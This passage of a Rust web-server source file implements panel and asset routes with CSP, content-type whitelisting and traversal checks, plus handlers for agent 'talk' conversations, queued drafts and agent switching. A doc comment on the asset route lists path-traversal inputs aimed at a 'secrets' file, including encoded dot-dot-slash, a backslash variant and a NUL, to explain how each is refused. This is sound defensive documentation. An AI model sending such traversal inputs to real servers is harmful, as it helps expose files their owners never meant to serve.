5274async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5275    blocking(move || {
5276        let id = resolve_question(&ui.questions, &id)?;
5277        let Some(html) = ui.questions.panel_html(&id) else {
5278            return Err(ApiError::not_found(format!("question {id} has no panel")));
5279        };
5280        Ok(panel_response(
5281            "text/html; charset=utf-8",
5282            false,
5283            html.into_bytes(),
5284        ))
5285    })
5286    .await
5287}
5288
5289/// `GET /api/questions/{id}/asset/{name}`.
5290///
5291/// One file from the question's own panel directory, so a panel can show a
5292/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5293/// having to allow anything off this machine.
5294///
5295/// This is the only route in the server where a client names a file, so it is
5296/// the only one with a traversal surface, and the name is checked by
5297/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5298/// what is worth being explicit about, because the answer is not "all of it in
5299/// one place":
5300///
5301/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5302///   the raw request path and `{name}` spans exactly one segment, so a real
5303///   slash makes the request too long for the route and the router answers 404.
5304/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5305///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5306///   `..\secrets` respectively, which look like plain filenames to the router.
5307///   The validator refuses them here - both for the literal `..` and because
5308///   `/` and `\` are not in the permitted character set - and answers 400.
5309/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5310///   the platform's path API is not, and it is refused here for the same
5311///   reason: NUL is not a permitted character.
5312/// * [`Questions::panel_asset`] validates again on read, so the check is not
5313///   load-bearing in only one place. This route's own check exists so the
5314///   failure is a 400 that says which name was wrong, rather than a store error
5315///   the operator has to interpret.
5316async fn question_asset(
5317    State(ui): State<Arc<Ui>>,
5318    Path((id, name)): Path<(String, String)>,
5319) -> ApiResult<Response> {
5320    // Before any filesystem work and before any path is built: a name this
5321    // server will not serve should not become a `PathBuf` at all.
5322    if !crate::ask::valid_asset_name(&name) {
5323        return Err(ApiError::bad_request(format!(
5324            "`{name}` is not a usable asset name"
5325        )));
5326    }
5327    blocking(move || {
5328        let id = resolve_question(&ui.questions, &id)?;
5329        let asset = ui
5330            .questions
5331            .panel_asset(&id, &name)
5332            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5333        let Some(bytes) = asset else {
5334            return Err(ApiError::not_found(format!(
5335                "question {id} has no asset `{name}`"
5336            )));
5337        };
5338        Ok(panel_response(
5339            asset_content_type(&name),
5340            is_svg(&name),
5341            bytes,
5342        ))
5343    })
5344    .await
5345}
5346
5347/// Content type for a panel asset, from a closed whitelist.
5348///
5349/// A whitelist with an `application/octet-stream` fallback rather than a
5350/// guess, because the one answer that must never come out of here is
5351/// `text/html`. An agent that writes `notes.html` into its panel directory and
5352/// links it would otherwise get its own markup rendered at the top level of the
5353/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5354/// magi's origin - which is precisely the thing the panel design exists to
5355/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5356///
5357/// `nosniff` accompanies this on every response, so a browser cannot decide it
5358/// knows better than the type we sent.
5359fn asset_content_type(name: &str) -> &'static str {
5360    match extension(name).as_deref() {
5361        Some("png") => "image/png",
5362        Some("jpg" | "jpeg") => "image/jpeg",
5363        Some("gif") => "image/gif",
5364        Some("webp") => "image/webp",
5365        Some("svg") => "image/svg+xml",
5366        Some("css") => "text/css; charset=utf-8",
5367        Some("txt") => "text/plain; charset=utf-8",
5368        _ => "application/octet-stream",
5369    }
5370}
5371
5372/// Is this an SVG, and therefore a file that must never be opened at the top
5373/// level?
5374fn is_svg(name: &str) -> bool {
5375    extension(name).as_deref() == Some("svg")
5376}
5377
5378/// Lowercased extension, or `None` for a name without one.
5379fn extension(name: &str) -> Option<String> {
5380    name.rsplit_once('.')
5381        .map(|(_, ext)| ext.to_ascii_lowercase())
5382}
5383
5384/// Every panel response, with the four headers that make it safe and, for an
5385/// SVG, a fifth.
5386///
5387/// One function rather than a header list per handler, because a panel route
5388/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5389/// model gone, silently, on one of two routes. Adding a third panel route later
5390/// means calling this, and there is nowhere else to build a panel response.
5391///
5392/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5393/// as an `<img src>` inside the panel that script cannot run - but the asset
5394/// URL is also a plain URL an operator can be talked into opening in a tab,
5395/// where it is a document on magi's own origin. `Content-Disposition:
5396/// attachment` makes the browser download it instead of rendering it, which
5397/// closes that door without taking away the ability to draw a diff. Raster
5398/// images have no such execution surface and are left inline, so tapping a
5399/// screenshot still shows it.
5400fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5401    let mut res = (
5402        [
5403            (header::CONTENT_TYPE, content_type),
5404            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5405            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5406            (header::REFERRER_POLICY, "no-referrer"),
5407        ],
5408        body,
5409    )
5410        .into_response();
5411    if download {
5412        res.headers_mut().insert(
5413            header::CONTENT_DISPOSITION,
5414            HeaderValue::from_static("attachment"),
5415        );
5416    }
5417    res
5418}
5419
5420/// A talk as the phone reads it.
5421///
5422/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5423/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5424/// parses markdown itself - and the process-local `thinking` hint.
5425#[derive(Debug, Serialize)]
5426struct TalkView {
5427    #[serde(flatten)]
5428    talk: Talk,
5429    turn_bodies_md: Vec<Vec<md::Node>>,
5430    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5431    /// this server process.
5432    ///
5433    /// This is deliberately not durable: another server process cannot see
5434    /// it, and a restarted server must not claim an old turn is live. It is a
5435    /// progress hint rather than proof a reply landed; the transcript remains
5436    /// the source of truth for that.
5437    thinking: bool,
5438    /// Context-window usage, derived per request - see
5439    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5440    /// and each mutation) so the phone needs no extra call or polling.
5441    context: talk::ContextUsage,
5442}
5443
5444impl TalkView {
5445    /// Reads the talk's repository config itself; a config that cannot be
5446    /// read leaves the window unknown but never fails the conversation.
5447    fn new(talk: Talk, thinking: bool) -> Self {
5448        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5449        Self::with_config(talk, thinking, cfg.as_ref())
5450    }
5451
5452    /// As [`Self::new`], with the config already in hand (the list reads one
5453    /// per repository, not one per conversation).
5454    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5455        let context = talk::context_usage(&talk, cfg);
5456        let turn_bodies_md = talk
5457            .turns
5458            .iter()
5459            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5460            .collect();
5461        Self {
5462            turn_bodies_md,
5463            thinking,
5464            context,
5465            talk,
5466        }
5467    }
5468}
5469
5470/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5471/// conversation has filed, so the phone can follow one from inside the
5472/// conversation that asked for it rather than hunting the Queue for a task id
5473/// it may not remember.
5474#[derive(Debug, Serialize)]
5475struct TalkDetailView {
5476    #[serde(flatten)]
5477    view: TalkView,
5478    tasks: Vec<TaskView>,
5479    /// The agents this talk's repository can switch to; empty when its
5480    /// configuration cannot be read, which must not fail the whole detail.
5481    roster: Vec<RosterEntry>,
5482}
5483
5484/// One roster agent as the talk's agent selector shows it.
5485#[derive(Debug, Serialize)]
5486struct RosterEntry {
5487    id: String,
5488    kind: AgentKind,
5489    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5490    runnable: bool,
5491}
5492
5493/// `GET /api/talks`.
5494///
5495/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5496/// own order.
5497async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5498    blocking(move || {
5499        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5500        Ok(Json(
5501            ui.talks
5502                .list()
5503                .into_iter()
5504                .map(|talk| {
5505                    let thinking = ui.is_thinking(&talk.id);
5506                    let cfg = configs
5507                        .entry(talk.repo.clone())
5508                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5509                    TalkView::with_config(talk, thinking, cfg.as_ref())
5510                })
5511                .collect(),
5512        ))
5513    })
5514    .await
5515}
5516
5517/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5518/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5519/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5520/// end still opens a talk against an older binary.
5521#[derive(Debug, Default, Deserialize)]
5522#[serde(default)]
5523struct NewTalk {
5524    agent: Option<String>,
5525    repo: Option<PathBuf>,
5526}
5527
5528/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5529/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5530async fn talk_post(
5531    State(ui): State<Arc<Ui>>,
5532    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5533) -> ApiResult<impl IntoResponse> {
5534    // An absent body, or an empty one, is the normal way to open a talk - see
5535    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5536    // rather than refused.
5537    let body = match body {
5538        Ok(Json(body)) => body,
5539        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5540        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5541    };
5542    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5543    let cfg = config_for(&repo).await?;
5544    let view = blocking(move || {
5545        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5546        let thinking = ui.is_thinking(&talk.id);
5547        Ok(TalkView::new(talk, thinking))
5548    })
5549    .await?;
5550    Ok((StatusCode::CREATED, Json(view)))
5551}
5552
5553/// `GET /api/talks/{id}`.
5554async fn talk_detail(
5555    State(ui): State<Arc<Ui>>,
5556    Path(id): Path<String>,
5557) -> ApiResult<Json<TalkDetailView>> {
5558    blocking(move || {
5559        let id = resolve_talk(&ui.talks, &id)?;
5560        let talk = ui.talks.get(&id)?;
5561        let thinking = ui.is_thinking(&talk.id);
5562        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5563            .into_iter()
5564            .map(TaskView::from)
5565            .collect();
5566        let roster = Config::discover(&talk.repo, None)
5567            .map(|(cfg, _)| {
5568                cfg.agents
5569                    .iter()
5570                    .map(|a| RosterEntry {
5571                        id: a.id.clone(),
5572                        kind: a.kind,
5573                        runnable: agent::installed(a),
5574                    })
5575                    .collect()
5576            })
5577            .unwrap_or_default();
5578        Ok(Json(TalkDetailView {
5579            view: TalkView::new(talk, thinking),
5580            tasks,
5581            roster,
5582        }))
5583    })
5584    .await
5585}
5586
5587/// The body of `POST /api/talks/{id}/say`.
5588///
5589/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5590/// returned - never bytes of its own - so a turn with no images just omits
5591/// the field, which is what an older front end still does.
5592#[derive(Debug, Default, Deserialize)]
5593#[serde(default, deny_unknown_fields)]
5594struct NewTalkTurn {
5595    text: String,
5596    attachments: Vec<String>,
5597}
5598
5599#[derive(Debug, Deserialize)]
5600#[serde(deny_unknown_fields)]
5601struct EditTalkPending {
5602    text: String,
5603    expected_text: String,
5604    expected_attachments: Vec<String>,
5605}
5606
5607#[derive(Debug, Deserialize)]
5608#[serde(deny_unknown_fields)]
5609struct ClearTalkPending {
5610    expected_text: String,
5611    expected_attachments: Vec<String>,
5612}
5613
5614/// `POST /api/talks/{id}/say` - one turn of the conversation.
5615///
5616/// Not filesystem work, and therefore not routed through [`blocking`]: this
5617/// route spawns an agent CLI and a turn here can run for the whole of
5618/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5619/// research turn is expected to run commands rather than answer from what it
5620/// already knows. Holding an HTTP connection open that long is not a thing
5621/// to ask a phone to do; the operator's message is recorded and answered for
5622/// immediately, and the reply lands in the background, discovered through
5623/// the change stream's `talks_rev` the same way every other update on this
5624/// surface is.
5625async fn talk_say(
5626    State(ui): State<Arc<Ui>>,
5627    Path(id): Path<String>,
5628    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5629) -> ApiResult<(StatusCode, Json<TalkView>)> {
5630    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5631    if body.text.trim().is_empty() && body.attachments.is_empty() {
5632        return Err(ApiError::bad_request("say something"));
5633    }
5634
5635    let id = {
5636        let ui = Arc::clone(&ui);
5637        let asked = id.clone();
5638        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5639    };
5640    // A closed Talk never accepts a new immediate or queued turn. Check this
5641    // before claiming a slot so its ordinary domain refusal is a 409, not an
5642    // incidental failure from the later record/queue write.
5643    {
5644        let ui = Arc::clone(&ui);
5645        let id = id.clone();
5646        blocking(move || {
5647            let talk = ui.talks.get(&id)?;
5648            if !talk.status.open() {
5649                return Err(ApiError::conflict(format!(
5650                    "talk {} is {} and takes no more turns",
5651                    talk.short(),
5652                    talk.status.as_str()
5653                )));
5654            }
5655            Ok(())
5656        })
5657        .await?;
5658    }
5659
5660    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
5661    // actually stores, before anything is written - an unknown id is a 4xx
5662    // that names it rather than a turn (or a queued draft) silently missing
5663    // an image.
5664    let attachments = {
5665        let ui = Arc::clone(&ui);
5666        let id = id.clone();
5667        let ids = body.attachments.clone();
5668        blocking(move || {
5669            ids.into_iter()
5670                .map(|att_id| {
5671                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5672                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5673                    })
5674                })
5675                .collect::<ApiResult<Vec<talk::Attachment>>>()
5676        })
5677        .await?
5678    };
5679
5680    // Pending recovery and a new immediate turn are decided under the same
5681    // claim lock. Without that one critical section, a second `/say` can see
5682    // the first request's claim as "busy" and append itself to the recovered
5683    // draft before the first request rejects it.
5684    let start = {
5685        let ui = Arc::clone(&ui);
5686        let id = id.clone();
5687        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5688    };
5689    let turn_guard = match start {
5690        TalkTurnStart::Claimed(turn_guard) => turn_guard,
5691        TalkTurnStart::Pending => {
5692            return Err(ApiError::conflict(
5693                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5694            ));
5695        }
5696        TalkTurnStart::Busy => {
5697            // A turn is already running: queue rather than refuse. See
5698            // `Ui::begin_talk_turn` and `talk::queue`.
5699            //
5700            // The queue write and the drain it may owe live inside the task
5701            // `tokio::spawn` hands to the runtime, for the same reason the
5702            // immediate path below puts `record` there: a dropped handler
5703            // future must not be able to land between a durable write and
5704            // the task that answers it. `blocking` runs its closure on
5705            // `spawn_blocking`, which finishes whether or not anyone is left
5706            // to receive its result - so a disconnect at the `.await` below
5707            // would otherwise leave the draft persisted and the reclaimed
5708            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
5709            // ever started and the queued text stranded until some later
5710            // `say` happened to pick it up. The caller's 202 travels back
5711            // over a `oneshot`, sent the moment the write lands.
5712            let (tx, rx) = tokio::sync::oneshot::channel();
5713            tokio::spawn({
5714                let ui = Arc::clone(&ui);
5715                let id = id.clone();
5716                let said = body.text.clone();
5717                async move {
5718                    let written = blocking({
5719                        let ui = Arc::clone(&ui);
5720                        let id = id.clone();
5721                        move || {
5722                            let mut talk = ui.talks.get(&id)?;
5723                            // A test-only stop point, right before the write
5724                            // an interleaving test needs to pin - see
5725                            // `BusyQueueGate`. `None` in every real server:
5726                            // the field only exists under `#[cfg(test)]`.
5727                            #[cfg(test)]
5728                            if let Some(gate) = ui
5729                                .busy_queue_gate
5730                                .lock()
5731                                .unwrap_or_else(PoisonError::into_inner)
5732                                .take()
5733                            {
5734                                let _ = gate.reached.send(());
5735                                let _ = gate.release.recv();
5736                            }
5737                            if let Err(error) =
5738                                talk::queue(&mut talk, &ui.talks, &said, attachments)
5739                            {
5740                                if let Ok(fresh) = ui.talks.get(&id) {
5741                                    if !fresh.status.open() {
5742                                        return Err(ApiError::conflict(format!(
5743                                            "talk {} is {} and takes no more turns",
5744                                            fresh.short(),
5745                                            fresh.status.as_str()
5746                                        )));
5747                                    }
5748                                }
5749                                return Err(ApiError::from(error));
5750                            }
5751                            // The turn that looked busy a moment ago can have
5752                            // finished, found nothing to drain and given up the
5753                            // slot in the gap between that check and this write
5754                            // landing - see `drain_loop`'s own doc for the other
5755                            // half of why that gap would otherwise be able to
5756                            // open at all. Reclaiming the slot here, rather than
5757                            // trusting that whoever held it is still watching, is
5758                            // what stops the text just queued from being stranded
5759                            // until an unrelated future `say` happens to drain
5760                            // it.
5761                            let claim = match ui.begin_queued_talk_turn(&id)? {
5762                                Some(turn_guard) => {
5763                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5764                                    Some((talk.clone(), cfg, turn_guard))
5765                                }
5766                                None => None,
5767                            };
5768                            let thinking = ui.is_thinking(&id);
5769                            Ok((TalkView::new(talk, thinking), claim))
5770                        }
5771                    })
5772                    .await;
5773                    let (view, reclaimed) = match written {
5774                        Ok(pair) => pair,
5775                        Err(e) => {
5776                            // Nobody is listening if the handler's own future
5777                            // was already dropped - that is fine, nothing was
5778                            // persisted and there is no response left to carry
5779                            // this error to.
5780                            let _ = tx.send(Err(e));
5781                            return;
5782                        }
5783                    };
5784                    // If this fails, the caller is gone; the drain below still
5785                    // runs exactly as it would have for a caller that stayed.
5786                    let _ = tx.send(Ok(view));
5787                    if let Some((talk, cfg, turn_guard)) = reclaimed {
5788                        let talks = ui.talks.clone();
5789                        drain_loop(talk, talks, cfg, id, turn_guard).await;
5790                    }
5791                }
5792            });
5793            let view = rx
5794                .await
5795                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5796            return Ok((StatusCode::ACCEPTED, Json(view)));
5797        }
5798    };
5799
5800    let (talk, cfg) = {
5801        let ui = Arc::clone(&ui);
5802        let id = id.clone();
5803        blocking(move || {
5804            let talk = ui.talks.get(&id)?;
5805            let (cfg, _) = Config::discover(&talk.repo, None)?;
5806            Ok((talk, cfg))
5807        })
5808        .await?
5809    };
5810
5811    let talks = ui.talks.clone();
5812    // `record` runs *inside* the spawned task, rather than in this handler
5813    // followed by a separate `tokio::spawn` for `respond` - axum drops this
5814    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
5815    // doc), and that drop can land at any `.await` this function makes,
5816    // including one that has already produced its result but not yet
5817    // resumed. A message could end up recorded on disk with the handler
5818    // future gone before it ever reached the `tokio::spawn` that would have
5819    // started the reply. `tokio::spawn` itself is a plain, synchronous call
5820    // that hands the whole future to the runtime as one unit - once made, no
5821    // later drop of *this* handler's own future (that call's return value is
5822    // never held onto here) can reach back in and stop it, so record and the
5823    // hand-off to `respond` are unconditionally atomic from the client's
5824    // point of view. The immediate response this handler owes the caller
5825    // travels back over a `oneshot`, sent the moment `record` succeeds.
5826    let (tx, rx) = tokio::sync::oneshot::channel();
5827    tokio::spawn({
5828        let ui = Arc::clone(&ui);
5829        let talks = talks.clone();
5830        let id = id.clone();
5831        let said = body.text.clone();
5832        let mut talk = talk.clone();
5833        async move {
5834            let recorded = blocking({
5835                let talks = talks.clone();
5836                move || {
5837                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5838                        if let Ok(fresh) = talks.get(&talk.id) {
5839                            if !fresh.status.open() {
5840                                return Err(ApiError::conflict(format!(
5841                                    "talk {} is {} and takes no more turns",
5842                                    fresh.short(),
5843                                    fresh.status.as_str()
5844                                )));
5845                            }
5846                        }
5847                        return Err(ApiError::from(error));
5848                    }
5849                    // `record` mutates `talk` in place to the freshly persisted
5850                    // state (status, pending, and the just-appended operator
5851                    // turn), so returning it here is equivalent to re-reading it
5852                    // from disk - without the extra round trip a re-read would
5853                    // need.
5854                    Ok((said.trim().to_owned(), talk))
5855                }
5856            })
5857            .await;
5858            let (text, mut talk) = match recorded {
5859                Ok(pair) => pair,
5860                Err(e) => {
5861                    // Nobody is listening if the handler's own future was
5862                    // already dropped - that is fine, there is no response
5863                    // left to carry this error to and nothing was persisted.
5864                    let _ = tx.send(Err(e));
5865                    return;
5866                }
5867            };
5868            let queued = talk.clone();
5869            let thinking = ui.is_thinking(&id);
5870            // If this fails, the caller is gone; the turn still runs below
5871            // exactly as it would have for a caller that stayed connected.
5872            let _ = tx.send(Ok((queued, thinking)));
5873
5874            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5875                // `respond` records the failure in the transcript itself,
5876                // which is what the phone reads; this line is for the
5877                // operator's terminal.
5878                tracing::warn!("talk {id} turn failed: {e:#}");
5879            }
5880            // Anything `talk::queue` added while the turn above was running
5881            // is still owed an answer - see `drain_loop`.
5882            drain_loop(talk, talks, cfg, id, turn_guard).await;
5883        }
5884    });
5885
5886    let (queued, thinking) = rx
5887        .await
5888        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5889
5890    // 202: the operator's message is recorded and a turn is running.
5891    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5892}
5893
5894/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
5895/// changing it. The turn guard is the same per-talk ownership `talk_say`
5896/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
5897async fn talk_pending_resume(
5898    State(ui): State<Arc<Ui>>,
5899    Path(id): Path<String>,
5900) -> ApiResult<(StatusCode, Json<TalkView>)> {
5901    let id = {
5902        let ui = Arc::clone(&ui);
5903        let asked = id.clone();
5904        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5905    };
5906    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5907        return Err(ApiError::conflict(
5908            "a talk turn is already running; the queued draft will be handled by it",
5909        ));
5910    };
5911    let (talk, cfg) = {
5912        let ui = Arc::clone(&ui);
5913        let id = id.clone();
5914        blocking(move || {
5915            let talk = ui.talks.get(&id)?;
5916            if !talk.status.open() {
5917                return Err(ApiError::conflict(format!(
5918                    "talk {} is {} and takes no more turns",
5919                    talk.short(),
5920                    talk.status.as_str()
5921                )));
5922            }
5923            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5924                return Err(ApiError::conflict("there is no queued draft to resume"));
5925            }
5926            let (cfg, _) = Config::discover(&talk.repo, None)?;
5927            Ok((talk, cfg))
5928        })
5929        .await?
5930    };
5931    let view = TalkView::new(talk.clone(), true);
5932    let talks = ui.talks.clone();
5933    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5934    Ok((StatusCode::ACCEPTED, Json(view)))
5935}
5936
5937/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
5938/// releasing `turn` only once a check finds it truly empty. Shared by both
5939/// callers that can end up owning a talk's turn slot with something already
5940/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
5941/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
5942/// holder just gave up - see the comment at that call site.
5943///
5944/// The release is folded into the final generation check under `turn`'s own
5945/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
5946/// free". Before its blocking `talk::drain`, this loop observes the queued
5947/// generation. A `say` that sees the turn busy writes its draft, then advances
5948/// that generation. Thus, if it lands while the drain is in flight, the final
5949/// check observes the advance and drains again; otherwise it releases the
5950/// claim while holding the same lock. This keeps the release/arrival handoff
5951/// atomic without holding the global claim mutex across filesystem I/O.
5952async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5953    let live_set = Arc::clone(&turn.turns);
5954    // `Option` rather than binding `turn` directly to a `_turn` that lives
5955    // for the whole function: releasing it has to happen by calling
5956    // `TalkTurnGuard::release` from inside the locked branch below, which
5957    // takes `self` by value. Left as a plain drop instead, `Drop` would still
5958    // remove the id - correctly, if this loop is ever left some other way -
5959    // but doing it there misses the lock this loop is already holding, which
5960    // is the exact gap `release` exists to close.
5961    let mut turn = Some(turn);
5962    loop {
5963        // `talk::drain` takes the store lock and can write/rename the talk
5964        // file. Keep the turn mutex out of that synchronous work: it protects
5965        // every talk's in-memory claim, not this talk's disk operation.
5966        let observed = live_set
5967            .lock()
5968            .unwrap_or_else(PoisonError::into_inner)
5969            .queued
5970            .get(&id)
5971            .copied()
5972            .unwrap_or(0);
5973        let drained = blocking({
5974            let talks = talks.clone();
5975            move || {
5976                let result = talk::drain(&mut talk, &talks);
5977                Ok((talk, result))
5978            }
5979        })
5980        .await;
5981        let (next_talk, result) = match drained {
5982            Ok(drained) => drained,
5983            Err(e) => {
5984                tracing::warn!(
5985                    status = %e.status,
5986                    message = %e.message,
5987                    "talk {id} could not start queued-text drain"
5988                );
5989                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5990                turn.take()
5991                    .expect("held for the whole loop until released here")
5992                    .release(&mut live);
5993                break;
5994            }
5995        };
5996        talk = next_talk;
5997        let drained = match result {
5998            Ok(Some(drained)) => drained,
5999            Ok(None) => {
6000                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6001                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6002                    continue;
6003                }
6004                turn.take()
6005                    .expect("held for the whole loop until released here")
6006                    .release(&mut live);
6007                break;
6008            }
6009            Err(e) => {
6010                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6011                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6012                turn.take()
6013                    .expect("held for the whole loop until released here")
6014                    .release(&mut live);
6015                break;
6016            }
6017        };
6018        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6019            tracing::warn!("talk {id} turn failed: {e:#}");
6020        }
6021    }
6022}
6023
6024/// Clear a queued draft only if it remains exactly the one the caller saw.
6025async fn talk_pending_clear(
6026    State(ui): State<Arc<Ui>>,
6027    Path(id): Path<String>,
6028    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6029) -> ApiResult<Json<TalkView>> {
6030    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6031    blocking(move || {
6032        let id = resolve_talk(&ui.talks, &id)?;
6033        let mut talk = ui.talks.get(&id)?;
6034        if !talk.status.open() {
6035            return Err(ApiError::conflict(format!(
6036                "talk {} is {} and takes no more turns",
6037                talk.short(),
6038                talk.status.as_str()
6039            )));
6040        }
6041        if !talk::clear_pending_if_matches(
6042            &mut talk,
6043            &ui.talks,
6044            &body.expected_text,
6045            &body.expected_attachments,
6046        )? {
6047            return Err(ApiError::conflict(
6048                "queued message changed; reload it before clearing",
6049            ));
6050        }
6051        let thinking = ui.is_thinking(&talk.id);
6052        Ok(Json(TalkView::new(talk, thinking)))
6053    })
6054    .await
6055}
6056
6057/// Atomically edit a queued draft's text while preserving its attachments.
6058/// The snapshot fields make a concurrent queue or drain a conflict rather
6059/// than silently discarding either message.
6060async fn talk_pending_edit(
6061    State(ui): State<Arc<Ui>>,
6062    Path(id): Path<String>,
6063    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6064) -> ApiResult<Json<TalkView>> {
6065    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6066    let (view, reclaimed) = blocking({
6067        let ui = Arc::clone(&ui);
6068        move || {
6069            let id = resolve_talk(&ui.talks, &id)?;
6070            let mut talk = ui.talks.get(&id)?;
6071            if !talk.status.open() {
6072                return Err(ApiError::conflict(format!(
6073                    "talk {} is {} and takes no more turns",
6074                    talk.short(),
6075                    talk.status.as_str()
6076                )));
6077            }
6078            if !talk::edit_pending_text(
6079                &mut talk,
6080                &ui.talks,
6081                &body.text,
6082                &body.expected_text,
6083                &body.expected_attachments,
6084            )? {
6085                return Err(ApiError::conflict(
6086                    "queued message changed; reload it before editing",
6087                ));
6088            }
6089            let claim = match ui.begin_queued_talk_turn(&id)? {
6090                Some(turn_guard) => {
6091                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6092                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6093                }
6094                None => None,
6095            };
6096            let thinking = ui.is_thinking(&id);
6097            Ok((TalkView::new(talk, thinking), claim))
6098        }
6099    })
6100    .await?;
6101    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6102        let talks = ui.talks.clone();
6103        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6104    }
6105    Ok(Json(view))
6106}
6107
6108/// The body of `POST /api/talks/{id}/agent`.
6109#[derive(Debug, Deserialize)]
6110struct TalkAgent {
6111    agent: String,
6112}
6113
6114/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6115/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6116/// start a turn on the old session between the check and the write; one that
6117/// arrives in that window finds the talk busy and becomes a draft.
6118async fn talk_agent(
6119    State(ui): State<Arc<Ui>>,
6120    Path(id): Path<String>,
6121    Json(body): Json<TalkAgent>,
6122) -> ApiResult<Json<TalkView>> {
6123    let id = {
6124        let ui = Arc::clone(&ui);
6125        blocking(move || resolve_talk(&ui.talks, &id)).await?
6126    };
6127    let repo = {
6128        let ui = Arc::clone(&ui);
6129        let id = id.clone();
6130        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6131    };
6132    let cfg = config_for(&repo).await?;
6133    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6134        return Err(ApiError::conflict(
6135            "a talk turn is running; change the agent once it has answered",
6136        ));
6137    };
6138    let switched = {
6139        let ui = Arc::clone(&ui);
6140        let id = id.clone();
6141        let cfg = cfg.clone();
6142        blocking(move || {
6143            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6144                .map_err(ApiError::bad_request_from)?;
6145            let mut talk = ui.talks.get(&id)?;
6146            if !talk.status.open() {
6147                return Err(ApiError::conflict(format!(
6148                    "talk {} is {} and takes no more turns",
6149                    talk.short(),
6150                    talk.status.as_str()
6151                )));
6152            }
